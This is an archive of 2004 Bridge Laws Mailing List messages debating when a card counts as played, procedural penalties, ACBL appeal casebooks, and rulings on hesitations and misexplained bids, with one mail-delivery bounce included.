gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Thu, 1 Jul 2004 16:02:40 +0100 Subject: [blml] Baby face In-Reply-To: <47267B7CF730F440AD5A5932EE66748A14CFCB@MAIL.fc.up.pt> References: <47267B7CF730F440AD5A5932EE66748A14CFCB@MAIL.fc.up.pt> Message-ID: On 1 Jul 2004, at 09:36, Nuno Miguel Marques de Sousa wrote: >> You think 3S is the minimum bid? Imagine: >> >> Kxx >> 10x >> AQJx >> Kxxx >> -- AQ1082 >> AQxxxx Jx >> Kxxxx xxx >> AQ Jxx >> J9743 >> K96 >> 9 >> T942 >> >> Any impossible calls here? > > Yes. I wouldn't think of passing 2H with West's 4-loser hand. West hadn't passed. > I'd make one last try with 3D or 3H. I indicated that I expected EW to bid on further, probably reaching (a non-making) game. > Double with North's hand, despite the vulnerability, is routine these > days. I agree. I don't remember days when it wasn't routine :) -- Gordon Rainsford London UK From gordon@gordonrainsford.co.uk Thu Jul 1 16:05:01 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Thu, 1 Jul 2004 16:05:01 +0100 Subject: [blml] How played is declairer's exposed card? In-Reply-To: <6.1.1.1.0.20040701095513.02b62680@pop.starpower.net> References: <906F3F6C-CB5C-11D8-BE72-0003936A6522@gordonrainsford.co.uk> <6.1.1.1.0.20040701095513.02b62680@pop.starpower.net> Message-ID: <068E8406-CB70-11D8-BE72-0003936A6522@gordonrainsford.co.uk> On 1 Jul 2004, at 15:03, Eric Landau wrote: > At 08:45 AM 7/1/04, Gordon wrote: > >> On 1 Jul 2004, at 13:33, David Stevenson wrote: >> >>> To my understanding there is no *point* at which it becomes >>> played. When it becomes stationary in a clearly played position, >>> which may be any of >>> >>> a] touching the table, or >>> b] nearly touching the table, or >>> c] clearly intended as played [eg held against the forehead facing >>> out] >>> >>> then it is played. But a movement of a card which is immediately >>> dragged back is not played because it was not held or maintained in >>> such a position, however far it has gone forward, eg it can touch >>> the table and not be played. >> >> This understanding seems to give a central role to a word >> (stationary) which appears at no point in the law itself. > > The ambiguous word in L45C2 is "held". I realise. > My AHD gives 17 definitions for "hold, v. tr.", including "1. To have > and keep in possession..." and "3. To maintain in a certain position > or relationship...". David has chosen to interpret "held" in the > latter sense rather than the former, which, in this context, seems > entirely reasonable to me. Yet even in the definitions you've quoted, the word David has slipped in doesn't appear. I don't think it can be legitimate to give such an important role to a word which is introduced without comment without comment or explanation, when we have enough on our plates arguing about the word that *are* in the Law. From karel@esatclear.ie Thu Jul 1 19:53:40 2004 From: karel@esatclear.ie (Karel) Date: Thu, 1 Jul 2004 19:53:40 +0100 Subject: [blml] Penalised for not knowing your system ... In-Reply-To: Message-ID: Is it legal to give a PP for something that the TD decides is illegal? Yes. Is it desirable/sensible/helpful to give a PP for CD? Probably in certain situations, but this thread is not about that, so why bother? The final question is of course: Is it legal to give a PP for something that the TD decides is illegal if a member of BLML decrees otherwise? 'fraid so! +++ fair enough - but having decided a TD can give a PP, do the laws back him up should the OS appeal his decision ? In the actual case that started this thread, I personally can't see why the OS were given a PP. They had a bidding misunderstanding - god forbid hardly an unusal occurence. What I'm trying to determine is were in the laws, it states at what stage, a system forget cross the line to become subject to a PP. The laws so far refered to in support of a TD PP are extremely lose and general. I doubt there is any consistency in this area. Needs some work I think for 2006. K. From adam@tameware.com Thu Jul 1 20:36:10 2004 From: adam@tameware.com (Adam Wildavsky) Date: Thu, 1 Jul 2004 15:36:10 -0400 Subject: [blml] The Future of ACBL Casebooks In-Reply-To: References: Message-ID: At 1:19 PM -0400 6/26/04, Adam Wildavsky wrote: >I'm preparing a letter to my District Director on the subject. I >plan to post the letter here for comments and suggestions before >passing it on. Here it is. Followups to me or the list -- your choice. I'll plan on sending a final draft tomorrow. To: Al Levy, Director of ACBL District 24 Cc: Some other district directors and interested parties. Dear Al, I just read the BOD agenda at http://www.acbl.org/documentlibrary/about/nyjournal.pdf Item 032-114 regarding NABC casebooks concerns me. It recommends sweeping changes. I believe that our system of jurisprudence has made great strides over the past decade, though I'd grant we have plenty of room for improvement. I believe the present casebook system is in large part responsible for the improvement we have seen, and that dramatic changes not only put future improvement at risk, but also could results in regression. If the board believes changes are necessary I think an incremental approach would be most effective. That way the effects of each change can be evaluated separately, and changes which do not have the desired effect can be reevaluated. As I understand it the motion proposes changing the following: 1. The casebook editor. 2. The casebook publication schedule. 3. The number of cases commented on (some rather than all.) 4. The number of cases published in the daily bulletin (some rather than all that are available.) 5. The number of official commentators (few rather than many.) 6. The addition of commentary from the NABC Director in Charge. 7. The casebook medium - web rather than web plus hard-copy. 8. A system whereby anyone can add a comment to a case on the web page. I suggest that each of the changes be considered individually over time. Here are my views on some of the individual changes. 3. I think the commentators ought to be given the opportunity to address every case if they choose to. Often a commentator will see an issue that was not apparent to anyone else -- that is after all one reason we have commentators. 4. I do not think selection of cases to publish is helpful. I find publishing all appeals possible in the daily bulletin is much more useful and effective than just publishing some of them. It gives a more realistic picture of the appeals process, warts and all, and makes it clear that we have nothing to hide. Unpublished decisions are subject to criticism that they displayed favoritism towards one side or another, whether or not any such favoritism was present. Publishing only some decisions might seem to give us the ability to "bury" decisions that make the process look bad. I expect it would have the opposite effect, making the process look bad regardless of the motives of those who select the cases. 5. I think the casebooks would be much poorer without the commentary of many who have given great thought to matters of bridge law, in particular Ron Gerard. These commentators are volunteers, and so long as they are willing to donate their time I think we ought to take advantage of their generosity. Those who think some commentary (mine for instance) is overlong and not always to the point can choose to ignore it. 6. I would welcome commentary by the NABC Director in Charge -- I think it would provide an instructive perspective. 7. I think the web is an appropriate delivery mechanism. That said I see no reason not to continue to sell hard-copies if such sales can be made self-supporting. 8. Cases are now discussed on the Bridge Laws Mailing List, and the discussion is usually at an appropriately high level. I've learned a lot from the list over the years. I suspect that comments posted to the web page would be of uneven quality, giving readers a problem separating the wheat from the chaff. That said, I think it's worth a try. Thank you for your attention! Sincerely, -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From blml@blakjak.com Thu Jul 1 22:35:15 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jul 2004 22:35:15 +0100 Subject: [blml] Penalised for not knowing your system ... In-Reply-To: References: Message-ID: Karel wrote > > Is it legal to give a PP for something that the TD decides is illegal? >Yes. > > Is it desirable/sensible/helpful to give a PP for CD? Probably in >certain situations, but this thread is not about that, so why bother? > > The final question is of course: > > Is it legal to give a PP for something that the TD decides is illegal >if a member of BLML decrees otherwise? 'fraid so! > >+++ fair enough - but having decided a TD can give a PP, do the laws back >him up should the OS appeal his decision ? In the actual case that started >this thread, I personally can't see why the OS were given a PP. They had a >bidding misunderstanding - god forbid hardly an unusal occurence. What I'm >trying to determine is were in the laws, it states at what stage, a system >forget cross the line to become subject to a PP. The laws so far refered to >in support of a TD PP are extremely lose and general. I doubt there is any >consistency in this area. Needs some work I think for 2006. I do not see this at all. TDs make judgements, and PPs are subject to judgement, and thus subject to appeal. But trying to tie the Laws down to applying the judgement for the TD will, I think be impossible. Really, despite players assuming the TDs get every thing wrong, it is best to give TDs the power, and let them use it, subject to appeal. The trouble is that each situation is different. Perhaps there was something special about the situation that started this thread that needed a PP. However, form what I remember the question was whether it was legal. It is rarely desirable that PPs should be given for Convention Disruption. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Jul 1 22:36:52 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jul 2004 22:36:52 +0100 Subject: [blml] How played is declairer's exposed card? In-Reply-To: <906F3F6C-CB5C-11D8-BE72-0003936A6522@gordonrainsford.co.uk> References: <906F3F6C-CB5C-11D8-BE72-0003936A6522@gordonrainsford.co.uk> Message-ID: <742hiaN0PI5AFwXE@blakjak.demon.co.uk> Gordon Rainsford wrote > >On 1 Jul 2004, at 13:33, David Stevenson wrote: > >> To my understanding there is no *point* at which it becomes played. >>When it becomes stationary in a clearly played position, which may be >>any of >> >> a] touching the table, or >> b] nearly touching the table, or >> c] clearly intended as played [eg held against the forehead facing out] >> >> then it is played. But a movement of a card which is immediately >>dragged back is not played because it was not held or maintained in >>such a position, however far it has gone forward, eg it can touch the >>table and not be played. >> > >This understanding seems to give a central role to a word (stationary) >which appears at no point in the law itself. True. It is an interpretation based on what it seems to mean. Alternative views have been stated which also do not follow the wording precisely. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Jul 1 22:39:57 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jul 2004 22:39:57 +0100 Subject: SV: [blml] How played is declairer's exposed card? In-Reply-To: <89FD2BC254969C4297E82458BB27990001AFCB9D@exchange.idrettsforbundet.no> References: <89FD2BC254969C4297E82458BB27990001AFCB9D@exchange.idrettsforbundet.no> Message-ID: Skjaran, Harald wrote >David is interpreting the word "held" to incorporate some measure of >time, without saying anything about how much time a card must be held >in a certain position to be considered played. > >Without saying anything about the validity of this interpretation of >the word "held", and the lack of defining a time limit, I'll have to >comment David's statement above. >It is not possible to move a card from your hand into a position where >it is face up, touching or nearly touching the table and back into your >hand without holding the card face up, touching or nearly touching the >table in a measurable period of time (a fraction of a second). > >I'll always rule a card moved in such a way a played card. So the moment it reaches a certain point it is a played card, which makes a nonsense of the actual wording. Why touching the table? It cannot reach that position without earlier being near the table. This interpretation which is being suggested strongly on RGB doe snot make sense with the actual wording of the law. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Thu Jul 1 22:58:43 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 1 Jul 2004 22:58:43 +0100 Subject: [blml] The Future of ACBL Casebooks References: Message-ID: <002201c45fb6$94398260$459468d5@jeushtlj> Good luck, Adam! It's hard to believe that anybody would dare to hamper the beneficial effect of appeals and their publication. Widespread dissemination of all appeal cases is essential, if TDs are to have any hope of eventually, reaching any consensus about the interpretation of our ambiguous, sophisticated and subjective laws Publishing such cases on the web does not just clarify the law for ordinary players. It also allows all players to see for themselves that some Bridge Authorities are trying to see that justice is done. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From richard.hills@immi.gov.au Thu Jul 1 23:25:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jul 2004 08:25:19 +1000 Subject: [blml] The Future of ACBL Casebooks Message-ID: Adam Wildavsky suggested: [snip] >4. I do not think selection of cases to >publish is helpful. I find publishing all >appeals possible in the daily bulletin is >much more useful and effective than just >publishing some of them. It gives a more >realistic picture of the appeals process, >warts and all, and makes it clear that we >have nothing to hide. Unpublished >decisions are subject to criticism that >they displayed favoritism towards one >side or another, whether or not any such >favoritism was present. > >Publishing only some decisions might seem >to give us the ability to "bury" >decisions that make the process look bad. >I expect it would have the opposite >effect, making the process look bad >regardless of the motives of those who >select the cases. [snip] Richard Hills quibbles: While I agree that all appeals cases of a particular ACBL National time should be published in the relevant casebook, I do not agree that all appeal cases should necessarily be published in the relevant Daily Bulletin. People reading unvarnished appeals cases in a Daily Bulletin may get a misleading impression of the motives of appellants, defendants, TDs or ACs. Only after the explanatory comments appear in a casebook are hoi polloi likely to get a realistic portrayal of all issues involved. I do, however, agree that all appeals should be commented upon in the relevant casebooks. For example, in the 2003 EBU and WBU casebooks (for which I am a panellist), I found points of interest worth discussing even in the most straightforward of appeals. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 2 00:00:11 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jul 2004 09:00:11 +1000 Subject: [blml] Baby face Message-ID: Nigel Guthrie: >For some players, breaks in tempo show values >or at least something to think about. Hence >they can facilitate partner's entry into the >auction. [snip] >Without this information, I suppose a TD might >consider a score alteration, given that pass >by the hesitator's partner appears to be an LA >and his bid seems to have damaged opponents. Richard Hills: Nigel has accidentally overlooked a key factor in Law 16 score-adjustment. The three factors that Nigel lists above are (to use the language of mathematics and logic) *necessary* but not *sufficient*. A fourth factor is required -> that the value- showing break in tempo *demonstrably suggested* that the 2S bid would be more likely to be a successful action than the alternative Pass. This was the actual AC decision: >>Although eight seconds is not a long time to >>take to bid, it was long enough so that it >>was clear to the table that East had a >>problem over 2D. Thus, the committee ruled >>that there had been a break in tempo. >> >>What did it suggest? East probably had more >>than minimum values for her double, but did >>not know how (or whether) to express them. >>Perhaps she had good diamonds and did not >>know whether double would be takeout or >>penalty. If that were the case, then a 2S bid >>was not likely to be successful. If East had >>made an off-shape double that she >>occasionally could not resist, then a 2S bid >>would work out very badly. Further, if East >>had a normal takeout double pattern with >>extra values, North would likely pass the >>preference to 2H, and East could then double >>for takeout. The committee decided that >>East's hesitation was as likely to be based >>on good diamonds as it was on a hand with >>close to 4-4-4-1 distribution and extra >>values. Therefore, it did not demonstrably >>suggest West's 2S bid, and the table result >>could not be adjusted. >> >>The appeal was deemed with merit. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 2 00:05:50 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jul 2004 09:05:50 +1000 Subject: [blml] Innuendo (was How played is) Message-ID: Nigel Guthrie: [snip] >In general, players prefer simple objective >definitions, unless the TD is a special >friend. > >Such simple clear laws would make bridge less >acrimonious but, unfortunately, would >curtail our fascinating debates in BLML. Honi soit qui mal y pense Richard Hills From mfrench1@san.rr.com Fri Jul 2 00:21:32 2004 From: mfrench1@san.rr.com (Marvin French) Date: Thu, 1 Jul 2004 16:21:32 -0700 Subject: [blml] The Future of ACBL Casebooks References: Message-ID: <003501c45fc2$2782e380$6401a8c0@san.rr.com> > > Adam Wildavsky suggested: > > [snip] > > > Richard Hills quibbles: > > While I agree that all appeals cases of a > particular ACBL National time should be > published in the relevant casebook, I do > not agree that all appeal cases should > necessarily be published in the relevant > Daily Bulletin. All available, I think Adam wrote. Only a small percentage of AC writeups are available for the Daily Bulletins, as there is a tedious process (Linda's thankless job) of obtaining the writeup from the AC scribe (like pulling teeth sometimes), resolving problems (ambiguities, omissions, etc.), putting it into satisfactory shape, and getting a blessing for the final version from the chairman of the AC. I doubt that this process is complete until long after the NABC and its DBs have been put to bed. Also, dull cases are sometimes omitted for lack of space in the DBs. I doubt very much that cases go unpublished because the TD or AC organization looks bad in them, as many such have been published. There was the case once in which a lady pro, embarrassed by a meritless appeal that her client insisted on, asked that the case not be published in the DB. Since the case had no interest at all, omitting it was not a great crime. It was in the casebook, of course. Marv Marvin L. French San Diego, California From richard.hills@immi.gov.au Fri Jul 2 03:04:23 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 2 Jul 2004 12:04:23 +1000 Subject: [blml] How played is declairer's exposed card? Message-ID: David Stevenson: >>>Certainly whether opponents can see the >>>card is irrelevant. Nigel Guthrie: >>Except that if both opponents can >>simultaneously see the face of the card, >>maybe that is positive evidence that the >>card is "face up" within the meaning of >>the law. Law 45C1: >A defender's card held so that it is >possible for his *partner* to see its >face must be played to the current trick [snip] Richard Hills: I dolorously announce that I am compelled to agree with David Stevenson. Please don't tell anyone. Even if both opponents saw a defender's card, not only do the Laws of Bridge state that that fact is lawfully irrelevant, but the Laws of Physics state that that fact is physically irrelevant. It is easy for two opponents sitting at 90 degree angles to the card to get a glimpse of the card, while it is much harder for a partner sitting at a 180 degree angle to the card to get a glimpse of the card. Best wishes RJH From mamos@blueyonder.co.uk Fri Jul 2 10:46:59 2004 From: mamos@blueyonder.co.uk (mamos) Date: Fri, 2 Jul 2004 10:46:59 +0100 Subject: [blml] How played is declairer's exposed card? References: Message-ID: <005501c46019$85361720$536b2452@mikeamos> ----- Original Message ----- From: "Robert E. Harris" To: Sent: Thursday, July 01, 2004 4:33 AM Subject: [blml] How played is declairer's exposed card? > Law 45C2: "Declarer must play a card from his hand held face up, > touching or nearly touching the table, or maintained in such a > position as to indicate that it has been played." > snip I guess I'm a practical rather than a theoretical TD and I dont have a great deal of difficulty with this law - I'll leave you all here in blml arguing with Zeno about whether the arrow will ever reach it's target and when a card is played and retreat into the real world where cowboys are struck down and cards get played - now it isn't, now it is. so how do I see this ? "held" means let me see "held" - not dropped or fumbled - maintained in some way - so we all know that cards that drop out of declarer's hand are not played - Face up is the opposite of face down (When they were up they were up when they were down they were down) Shouldn't we have some mention of face in and face out (Sorry I shouldn't make jokes someone will take me seriously) (We ought to have a long discussion here about "a" as in "Declarer must play a card........" What happens if RHO leads a Spade and declarer puts the Ace and 2 of Spades on the table ? I know that's easy he can play which one he likes and put the other back in his hand -- can he substitute the 7 from his hand and pick them both up ?) (I feel TD Exam question coming on ) I guess that when it comes to dealing with real cases, I, like Richard Hill, am very close to David Stevenson here - if the card is still moving it's not held, so if declarer detaches a card, moves it towards and even touches the table provided s/he doesnt stop but in a continuous movement like a bouncing ball returns it to his hand then i would not regard that as played - any stutter or hesitation and it's played. Until we get action cameras and slow-mo I'm not sure we can do much better than this - (Max Bavin tells how at the Macallan one year he rules that a bidding card had not been removed from a bidding box when 500 people in the Vugraph Theatre had seen the player take it out and wave it around.) For sure the more consistent we are the better it is but we have to recognise that in this matter there is no halfway up nor halfway down - It's either up or down and the TD has to take his best shot after the event in determining which. Some players may whinge but I've never had an appeal about a played card. <005501c46019$85361720$536b2452@mikeamos> Message-ID: Thank you. A ray of sunshine in the gathering darkness! But then, you appear to want to use the laws as they were INTENDED, whereas there are some who are frustrated forensic scientists whose love in life is dissection. Kojak ----- Original Message ----- From: "mamos" To: ; "Robert E. Harris" Sent: Friday, July 02, 2004 5:46 AM Subject: Re: [blml] How played is declairer's exposed card? > > ----- Original Message ----- > From: "Robert E. Harris" > To: > Sent: Thursday, July 01, 2004 4:33 AM > Subject: [blml] How played is declairer's exposed card? > > > > Law 45C2: "Declarer must play a card from his hand held face up, > > touching or nearly touching the table, or maintained in such a > > position as to indicate that it has been played." > > > snip > > I guess I'm a practical rather than a theoretical TD and I dont have a > great > deal of difficulty with this law - I'll leave you all here in blml arguing > with Zeno about whether the arrow will ever reach it's target and when a > card is played and retreat into the real world where cowboys are struck > down > and cards get played - now it isn't, now it is. > > so how do I see this ? > > "held" means let me see "held" - not dropped or fumbled - maintained in > some way - so we all know that cards that drop out of declarer's hand are > not played - > > Face up is the opposite of face down (When they were up they were up when > they were down they were down) Shouldn't we have some mention of face in > and face out (Sorry I shouldn't make jokes someone will take me > seriously) > > (We ought to have a long discussion here about "a" as in "Declarer must > play > a card........" What happens if RHO leads a Spade and declarer puts the > Ace > and 2 of Spades on the table ? I know that's easy he can play which one > he > likes and put the other back in his hand -- can he substitute the 7 from > his > hand and pick them both up ?) (I feel TD Exam question coming on ) > > I guess that when it comes to dealing with real cases, I, like Richard > Hill, > am very close to David Stevenson here - if the card is still moving it's > not > held, so if declarer detaches a card, moves it towards and even touches > the > table provided s/he doesnt stop but in a continuous movement like a > bouncing > ball returns it to his hand then i would not regard that as played - any > stutter or hesitation and it's played. > > Until we get action cameras and slow-mo I'm not sure we can do much better > than this - (Max Bavin tells how at the Macallan one year he rules that a > bidding card had not been removed from a bidding box when 500 people in > the > Vugraph Theatre had seen the player take it out and wave it around.) > > For sure the more consistent we are the better it is but we have to > recognise that in this matter there is no halfway up nor halfway down - > It's > either up or down and the TD has to take his best shot after the event in > determining which. Some players may whinge but I've never had an appeal > about a played card. > > > One needs to be there of course but this looks to me like "not played " - > as > the lady started to play the Heart Ace she spotted the spade and seems to > have tried to retract the card - but it might have been too late - the Td > has to decide on what they tell him > > > This is harder to determine from what Robert tells us - it's clear that > what > declarer is doing here is "changing his mind" and it will all depend on > what > he actually did with his Club 8 > > > Best wishes Mike > > > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From john@asimere.com Fri Jul 2 14:13:09 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 2 Jul 2004 14:13:09 +0100 Subject: [blml] How played is declairer's exposed card? In-Reply-To: References: <005501c46019$85361720$536b2452@mikeamos> Message-ID: In article , WILLIAM SCHODER writes >Thank you. A ray of sunshine in the gathering darkness! But then, you >appear to want to use the laws as they were INTENDED, whereas there are some >who are frustrated forensic scientists whose love in life is dissection. > >Kojak > > >----- Original Message ----- >From: "mamos" >To: ; "Robert E. Harris" >Sent: Friday, July 02, 2004 5:46 AM >Subject: Re: [blml] How played is declairer's exposed card? > > >> >> ----- Original Message ----- >> From: "Robert E. Harris" >> To: >> Sent: Thursday, July 01, 2004 4:33 AM >> Subject: [blml] How played is declairer's exposed card? >> >> >> > Law 45C2: "Declarer must play a card from his hand held face up, >> > touching or nearly touching the table, or maintained in such a >> > position as to indicate that it has been played." I'm pretty much with Amos here. When players ask me "Has declarer played the card?", my reply is "He can wave it around as much as he likes and you're allowed to know what it is - more fool him, but once he *puts* it on the table, or makes it clear he's done waving then it's played". Now this is not the wording of the Law, but it's a b****y good summary of their intent - and I've *never* (in 65,000 tables) had a query about it other than reading the words of the law to the players in order to justify my interpretation of them. In the case we're discussing, if the card were flat on the table, not being grasped by opposable thumb (or finger), I don't care how fast you pull it back it's already played, because it *has* been detached from the hand and faced on the table immediately before him per 45A1. Like Amos I agree if declarer is waving it around then brushing the table is not "facing it on the table" >> > >> snip >> >> I guess I'm a practical rather than a theoretical TD and I dont have a >> great >> deal of difficulty with this law - I'll leave you all here in blml arguing >> with Zeno about whether the arrow will ever reach it's target and when a >> card is played and retreat into the real world where cowboys are struck >> down >> and cards get played - now it isn't, now it is. quite so. cheers John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Fri Jul 2 15:49:09 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 2 Jul 2004 10:49:09 -0400 Subject: [blml] Baby face In-Reply-To: Message-ID: On Thursday, Jul 1, 2004, at 02:32 US/Eastern, richard.hills@immi.gov.au wrote: > Rather, I would argue according to fuzzy logic, and > fuzzily propose that there is a Lawful difference > between "did not indicate anything" and the actual > factual determination by the AC, "did not *reliably* > indicate anything". Either way, result stands. > Even unreliable indications may be highly useful > information to an expert. If you were West in this scenario, what useful information would you have gleaned from partner's BIT? From MAILER-DAEMON@aol.com Fri Jul 2 17:07:48 2004 From: MAILER-DAEMON@aol.com (Mail Delivery Subsystem) Date: Fri, 2 Jul 2004 12:07:48 -0400 (EDT) Subject: [blml] Returned mail: User unknown Message-ID: <200407021607.MAI03778@rly-nc02.mx.aol.com> This is a MIME-encapsulated message --MAI03778.1088784468/rly-nc02.mx.aol.com The original message was received at Fri, 2 Jul 2004 12:07:37 -0400 (EDT) from 82-33-171-60.cable.ubr06.wiga.blueyonder.co.uk [82.33.171.60] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-nc01.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown --MAI03778.1088784468/rly-nc02.mx.aol.com Content-Type: message/delivery-status Reporting-MTA: dns; rly-nc02.mx.aol.com Arrival-Date: Fri, 2 Jul 2004 12:07:37 -0400 (EDT) Final-Recipient: RFC822; serenajones2@netscape.net Action: failed Status: 5.1.1 Remote-MTA: DNS; air-nc01.mail.aol.com Diagnostic-Code: SMTP; 550 MAILBOX NOT FOUND Last-Attempt-Date: Fri, 2 Jul 2004 12:07:48 -0400 (EDT) --MAI03778.1088784468/rly-nc02.mx.aol.com Content-Type: text/rfc822-headers Received: from netscape.net (82-33-171-60.cable.ubr06.wiga.blueyonder.co.uk [82.33.171.60]) by rly-nc02.mx.aol.com (v100.23) with ESMTP id MAILRELAYINNC29-67140e588416a; Fri, 02 Jul 2004 12:07:31 -0400 From: blml@rtflb.org To: serenajones2@netscape.net Subject: Mail Delivery (failure serenajones2@netscape.net) Date: Fri, 2 Jul 2004 17:07:43 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal X-AOL-IP: 82.33.171.60 X-AOL-SCOLL-SCORE: 1:XXX:XX X-AOL-SCOLL-URL_COUNT: 1 Message-ID: <200407021207.67140e588416a@rly-nc02.mx.aol.com> --MAI03778.1088784468/rly-nc02.mx.aol.com-- From luis@fuegolabs.com Fri Jul 2 19:49:41 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Fri, 2 Jul 2004 15:49:41 -0300 Subject: [blml] Simple question Message-ID: <01e801c46065$55a3ad50$a301a8c0@fuegolabs.com> I think this case is simple but since a lot of things happened I'd like to know the correct ruling, both the bidding and the play produced some events and irregularities maybe there's something to learn here. Axxx Jxxx 2 Axxx x Kxxxx AKTxx xxx AJ9x Txx Txx Kx Qxx Q KQxxx QJxx Dealer: South, EW VUL South West North East 1d(1) 1h 1s(2) 2h pass(3) 3d(4) pass 3h(5) pass pass pass (1) ALERTED: 10-14 no 4 card major. (2) ALERTED: Artif and forcing, INV or better any distribution (3) Asked North about south pass North answered "1s forcing but over 2h he can pass if he wants" (4) ALERTED: Short suit trial (5) After hesitation Play: Diamond 2, low, queen, ace heart ace, low, low, queen heart king, low, low, diamond 3 (Declarer asked, North: odd=encouraging when discarding) low club, low, king low club, jack, low, low spade, low, ace, low heart jack, low, diamond, low spade, king, low, club discarded diamond, king, low, spade discard club, ruffed, ace, spade heart.... claiming 9 tricks +140 Now South called the director and told the irrgularities that occurred while west stated "You can always play dK and find your pd held a singleton" How do you rule (a lot of issues I think should be mentioned) Thanks! Luis --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.710 / Virus Database: 466 - Release Date: 7/1/2004 From adam@irvine.com Fri Jul 2 20:54:56 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 02 Jul 2004 12:54:56 -0700 Subject: [blml] Simple question In-Reply-To: Your message of "Fri, 02 Jul 2004 15:49:41 -0300." <01e801c46065$55a3ad50$a301a8c0@fuegolabs.com> Message-ID: <200407021954.MAA05892@mailhub.irvine.com> Luis Argerich wrote: > I think this case is simple but since a lot of things happened I'd like to > know the correct > ruling, both the bidding and the play produced some events and > irregularities > maybe there's something to learn here. > > Axxx > Jxxx > 2 > Axxx > x Kxxxx > AKTxx xxx > AJ9x Txx > Txx Kx > Qxx > Q > KQxxx > QJxx It's usually a good idea to include all the spots if you can, instead of x's. On this hand, the location of the H9 is particularly important, and the SJ could be important too. I'm assuming West has the H9. > Dealer: South, EW VUL > > South West North East > 1d(1) 1h 1s(2) 2h > pass(3) 3d(4) pass 3h(5) > pass pass pass > > (1) ALERTED: 10-14 no 4 card major. > (2) ALERTED: Artif and forcing, INV or better any distribution > (3) Asked North about south pass North answered "1s forcing but over 2h he > can pass if he wants" > (4) ALERTED: Short suit trial > (5) After hesitation > > Play: > Diamond 2, low, queen, ace > heart ace, low, low, queen > heart king, low, low, diamond 3 (Declarer asked, North: odd=encouraging when > discarding) > low club, low, king low > club, jack, low, low > spade, low, ace, low > heart jack, low, diamond, low > spade, king, low, club discarded > diamond, king, low, spade discard > club, ruffed, ace, spade > heart.... claiming 9 tricks +140 I'm assuming here that the TD can rule that East's explanation of the 3D bid was incorrect, and thus there was MI. Otherwise, there's no issue. West's final pass is normal, thus there's no issue about receiving UI either from East's misexplanation or the hesitation. Thus the only issue is whether the misexplanation has an effect on South's defense (and maybe North's). If South had played West for longer diamonds, he probably would have found the winning defense. But if South trusts East's explanation, he may well play West for something like xxx AKJTxx A xxx---I think a 3D short-suit game try is a little odd with that hand, but not so strange as to be unthinkable. West's play would probably be considered a little odd, too, but again not unthinkable if West thinks the chance of an opposing spade ruff is high. So, given that South has a right to assume East's explanation is correct as long as South doesn't do anything "wild, irrational, or gambling", or commit an "egregious error" (which he didn't), I think South was a victim of MI. So I adjust to N-S +100. -- Adam From luis@fuegolabs.com Fri Jul 2 21:14:27 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Fri, 2 Jul 2004 17:14:27 -0300 Subject: [blml] Simple question References: <200407021954.MAA05892@mailhub.irvine.com> Message-ID: <000501c46071$2d5199f0$a301a8c0@fuegolabs.com> A couple of follow up questions: ----- Original Message ----- From: "Adam Beneschan" To: Cc: Sent: Friday, July 02, 2004 4:54 PM Subject: Re: [blml] Simple question > > Luis Argerich wrote: > > > I think this case is simple but since a lot of things happened I'd like to > > know the correct > > ruling, both the bidding and the play produced some events and > > irregularities > > maybe there's something to learn here. > > > > Axxx > > Jxxx > > 2 > > Axxx > > x Kxxxx > > AKTxx xxx > > AJ9x Txx > > Txx Kx > > Qxx > > Q > > KQxxx > > QJxx > > It's usually a good idea to include all the spots if you can, instead > of x's. On this hand, the location of the H9 is particularly > important, and the SJ could be important too. I'm assuming West has > the H9. > > > > Dealer: South, EW VUL > > > > South 